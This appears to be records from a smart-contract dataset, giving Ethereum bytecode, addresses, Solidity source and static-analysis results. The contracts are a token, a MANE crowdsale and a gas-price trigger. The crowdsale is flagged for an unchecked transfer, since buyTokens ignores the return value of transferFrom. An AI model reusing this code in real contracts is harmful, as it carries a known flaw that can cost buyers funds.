6020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e175780601f10610dec57610100808354040283529160200191610e17565b820191906000526020600020905b815481529060010190602001808311610dfa57829003601f168201915b5050505050905090565b610e29611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610f42610f3b611206565b84846113f5565b6001905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611001611206565b73ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415611148576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260268152602001806117c76026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561124857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561128257600080fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6000808284019050838110156113eb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561142f57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561146957600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115145750600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561152857600754811061152757600080fd5b5b61157a81600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546116bc90919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061160f81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461136d90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b60006116fe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611706565b905092915050565b60008383111582906117b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561177857808201518184015260208101905061175d565b50505050905090810190601f1680156117a55780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373a2646970667358221220cf1285ca90acc55fc0900f37c4c91220b0642ca76f3920b5273fac26a137230b64736f6c634300060a0033
|
{"success": true, "error": null, "results": {}}
| 9,390 |
0x39451Aed89EBd8539cF97c3ea301b8ac384966C9
|
pragma solidity ^0.4.11;
// File: zeppelin/contracts/math/SafeMath.sol
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
// File: zeppelin/contracts/ownership/Ownable.sol
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
// File: zeppelin/contracts/token/ERC20Basic.sol
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
// File: zeppelin/contracts/token/BasicToken.sol
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
// File: zeppelin/contracts/token/ERC20.sol
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: zeppelin/contracts/token/StandardToken.sol
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
// File: contracts/MANETokenPartnerCrowdsale.sol
contract MANETokenPartnerCrowdsale is Ownable {
using SafeMath for uint256;
// The token being sold
StandardToken public token;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public endTime;
// address where funds are collected
address public wallet;
address public partner1;
address public partner2;
address public tokenPoolAddress;
// how many token units a buyer gets per wei
uint256 public rate;
// amount of raised money in wei
uint256 public weiRaised;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
event Cuts(uint main, uint partner1, uint partner2);
function MANETokenPartnerCrowdsale(
uint256 _endTime,
uint256 _rate,
address _wallet,
address _partner1,
address _partner2,
address tokenAddress,
address _tokenHolder
) Ownable() {
require(_endTime > 0);
require(_rate > 0);
require(_wallet != 0x0);
require(_partner1 != 0x0);
require(_partner2 != 0x0);
require(_tokenHolder != 0x0);
token = StandardToken(tokenAddress);
endTime = _endTime;
rate = _rate;
wallet = _wallet;
partner1 = _partner1;
partner2 = _partner2;
tokenPoolAddress = _tokenHolder;
}
// fallback function can be used to buy tokens
function () public payable {
buyTokens(msg.sender);
}
function updateRate(uint256 _rate) onlyOwner external returns (bool) {
require(_rate > 0);
rate = _rate;
return true;
}
function updateWallet(address _wallet) onlyOwner external returns (bool) {
require(_wallet != 0x0);
wallet = _wallet;
return true;
}
function updateTokenAddress(address _tokenAddress) onlyOwner external returns (bool) {
require(_tokenAddress != 0x0);
token = StandardToken(_tokenAddress);
return true;
}
function updateTokenPoolAddress(address _tokenHolder) onlyOwner external returns (bool) {
require(_tokenHolder != 0x0);
tokenPoolAddress = _tokenHolder;
return true;
}
function updateEndTime(uint256 _endTime) onlyOwner external returns (bool){
endTime = _endTime;
return true;
}
// low level token purchase function
function buyTokens(address beneficiary) public payable returns (bool){
require(beneficiary != 0x0);
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = weiAmount.mul(rate);
// update state
weiRaised = weiRaised.add(weiAmount);
token.transferFrom(tokenPoolAddress, beneficiary, tokens);
TokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
return true;
}
// send ether to the fund collection wallet
// override to create custom fund forwarding mechanisms
function forwardFunds() internal {
uint partner1Cut = msg.value.div(10);
uint partner2Cut = msg.value.div(100);
uint remainingFunds = msg.value.sub(partner1Cut).sub(partner2Cut);
Cuts(remainingFunds, partner1Cut, partner2Cut);
wallet.transfer(remainingFunds);
partner1.transfer(partner1Cut);
partner2.transfer(partner2Cut);
}
// @return true if the transaction can buy tokens
function validPurchase() internal constant returns (bool) {
bool nonZeroPurchase = msg.value != 0;
return !hasEnded() && nonZeroPurchase;
}
// @return true if crowdsale event has ended
function hasEnded() public constant returns (bool) {
return now > endTime;
}
}
|
0x6060604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff168063298d075f146100fd5780632c4e722e146101525780633197cbb61461017b5780634042b66f146101a4578063412ec94f146101cd578063521eb2731461021e5780636691461a1461027357806369ea1771146102c45780636ab3846b146102ff578063848b86e31461033a5780638b35a2441461038b5780638da5cb5b146103e0578063a4c7c7b314610435578063ec8ac4d81461048a578063ecb70fb7146104d0578063f2fde38b146104fd578063fc0c546a14610536575b6100fa3361058b565b50005b341561010857600080fd5b6101106107bc565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561015d57600080fd5b6101656107e2565b6040518082815260200191505060405180910390f35b341561018657600080fd5b61018e6107e8565b6040518082815260200191505060405180910390f35b34156101af57600080fd5b6101b76107ee565b6040518082815260200191505060405180910390f35b34156101d857600080fd5b610204600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506107f4565b604051808215151515815260200191505060405180910390f35b341561022957600080fd5b6102316108c1565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561027e57600080fd5b6102aa600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506108e7565b604051808215151515815260200191505060405180910390f35b34156102cf57600080fd5b6102e560048080359060200190919050506109b4565b604051808215151515815260200191505060405180910390f35b341561030a57600080fd5b6103206004808035906020019091905050610a30565b604051808215151515815260200191505060405180910390f35b341561034557600080fd5b610371600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610a9d565b604051808215151515815260200191505060405180910390f35b341561039657600080fd5b61039e610b6a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103eb57600080fd5b6103f3610b90565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561044057600080fd5b610448610bb5565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6104b6600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061058b565b604051808215151515815260200191505060405180910390f35b34156104db57600080fd5b6104e3610bdb565b604051808215151515815260200191505060405180910390f35b341561050857600080fd5b610534600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610be7565b005b341561054157600080fd5b610549610d3c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6000806000808473ffffffffffffffffffffffffffffffffffffffff16141515156105b557600080fd5b6105bd610d62565b15156105c857600080fd5b3491506105e060075483610d8490919063ffffffff16565b90506105f782600854610db790919063ffffffff16565b600881905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1686846000604051602001526040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b151561072057600080fd5b6102c65a03f1151561073157600080fd5b50505060405180519050508373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f623b3804fa71d67900d064613da8f94b9617215ee90799290593e1745087ad188484604051808381526020018281526020019250505060405180910390a36107b1610dd5565b600192505050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60075481565b60025481565b60085481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561085157600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff161415151561087757600080fd5b81600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561094457600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff161415151561096a57600080fd5b81600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a1157600080fd5b600082111515610a2057600080fd5b8160078190555060019050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610a8d57600080fd5b8160028190555060019050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610afa57600080fd5b60008273ffffffffffffffffffffffffffffffffffffffff1614151515610b2057600080fd5b81600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60006002544211905090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c4257600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610c7e57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060003414159050610d74610bdb565b158015610d7e5750805b91505090565b60008082840290506000841480610da55750828482811515610da257fe5b04145b1515610dad57fe5b8091505092915050565b6000808284019050838110151515610dcb57fe5b8091505092915050565b6000806000610dee600a34610f9f90919063ffffffff16565b9250610e04606434610f9f90919063ffffffff16565b9150610e2b82610e1d8534610fba90919063ffffffff16565b610fba90919063ffffffff16565b90507fb04699b1232faa90f590ae680308c4d6c041784afd4363d5a17108ee70f465d381848460405180848152602001838152602001828152602001935050505060405180910390a1600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501515610ed657600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f193505050501515610f3857600080fd5b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f193505050501515610f9a57600080fd5b505050565b6000808284811515610fad57fe5b0490508091505092915050565b6000828211151515610fc857fe5b8183039050929150505600a165627a7a72305820815445da016c2bc8e3561a48d3b0af74df1c6eb59e699fa324395b90f651274d0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}]}}
| 9,391 |
0x998c4e69a5698cbcd807f127f1fb5faed0b6b97f
|
// SPDX-License-Identifier: MIT
pragma solidity =0.8.4;
abstract contract IDFSRegistry {
function getAddr(bytes4 _id) public view virtual returns (address);
function addNewContract(
bytes32 _id,
address _contractAddr,
uint256 _waitPeriod
) public virtual;
function startContractChange(bytes32 _id, address _newContractAddr) public virtual;
function approveContractChange(bytes32 _id) public virtual;
function cancelContractChange(bytes32 _id) public virtual;
function changeWaitPeriod(bytes32 _id, uint256 _newWaitPeriod) public virtual;
}
interface IERC20 {
function totalSupply() external view returns (uint256 supply);
function balanceOf(address _owner) external view returns (uint256 balance);
function transfer(address _to, uint256 _value) external returns (bool success);
function transferFrom(
address _from,
address _to,
uint256 _value
) external returns (bool success);
function approve(address _spender, uint256 _value) external returns (bool success);
function allowance(address _owner, address _spender) external view returns (uint256 remaining);
function decimals() external view returns (uint256 digits);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
library Address {
//insufficient balance
error InsufficientBalance(uint256 available, uint256 required);
//unable to send value, recipient may have reverted
error SendingValueFail();
//insufficient balance for call
error InsufficientBalanceForCall(uint256 available, uint256 required);
//call to non-contract
error NonContractCall();
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
uint256 balance = address(this).balance;
if (balance < amount){
revert InsufficientBalance(balance, amount);
}
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{value: amount}("");
if (!(success)){
revert SendingValueFail();
}
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
uint256 balance = address(this).balance;
if (balance < value){
revert InsufficientBalanceForCall(balance, value);
}
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
if (!(isContract(target))){
revert NonContractCall();
}
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{value: weiValue}(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(
token,
abi.encodeWithSelector(token.transferFrom.selector, from, to, value)
);
}
/// @dev Edited so it always first approves 0 and then the value, because of non standard tokens
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, 0));
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(
value,
"SafeERC20: decreased allowance below zero"
);
_callOptionalReturn(
token,
abi.encodeWithSelector(token.approve.selector, spender, newAllowance)
);
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(
data,
"SafeERC20: low-level call failed"
);
if (returndata.length > 0) {
// Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/// @title A stateful contract that holds and can change owner/admin
contract AdminVault {
address public owner;
address public admin;
error SenderNotAdmin();
constructor() {
owner = msg.sender;
admin = 0x25eFA336886C74eA8E282ac466BdCd0199f85BB9;
}
/// @notice Admin is able to change owner
/// @param _owner Address of new owner
function changeOwner(address _owner) public {
if (admin != msg.sender){
revert SenderNotAdmin();
}
owner = _owner;
}
/// @notice Admin is able to set new admin
/// @param _admin Address of multisig that becomes new admin
function changeAdmin(address _admin) public {
if (admin != msg.sender){
revert SenderNotAdmin();
}
admin = _admin;
}
}
/// @title AdminAuth Handles owner/admin privileges over smart contracts
contract AdminAuth {
using SafeERC20 for IERC20;
address public constant ADMIN_VAULT_ADDR = 0xCCf3d848e08b94478Ed8f46fFead3008faF581fD;
AdminVault public constant adminVault = AdminVault(ADMIN_VAULT_ADDR);
error SenderNotOwner();
error SenderNotAdmin();
modifier onlyOwner() {
if (adminVault.owner() != msg.sender){
revert SenderNotOwner();
}
_;
}
modifier onlyAdmin() {
if (adminVault.admin() != msg.sender){
revert SenderNotAdmin();
}
_;
}
/// @notice withdraw stuck funds
function withdrawStuckFunds(address _token, address _receiver, uint256 _amount) public onlyOwner {
if (_token == 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) {
payable(_receiver).transfer(_amount);
} else {
IERC20(_token).safeTransfer(_receiver, _amount);
}
}
/// @notice Destroy the contract
function kill() public onlyAdmin {
selfdestruct(payable(msg.sender));
}
}
abstract contract ITrigger {
function isTriggered(bytes memory, bytes memory) public virtual returns (bool);
function isChangeable() public virtual returns (bool);
function changedSubData(bytes memory) public virtual returns (bytes memory);
}
contract GasPriceTrigger is ITrigger, AdminAuth {
struct Params {
uint256 maxGasPrice;
}
function isTriggered(bytes memory, bytes memory _subData) public view override returns (bool) {
Params memory inputData = parseInputs(_subData);
if (inputData.maxGasPrice >= tx.gasprice) return true;
return false;
}
function changedSubData(bytes memory _subData) public pure override returns (bytes memory) {
}
function isChangeable() public pure override returns (bool){
return false;
}
function parseInputs(bytes memory _subData) public pure returns (Params memory params) {
params = abi.decode(_subData, (Params));
}
}
|
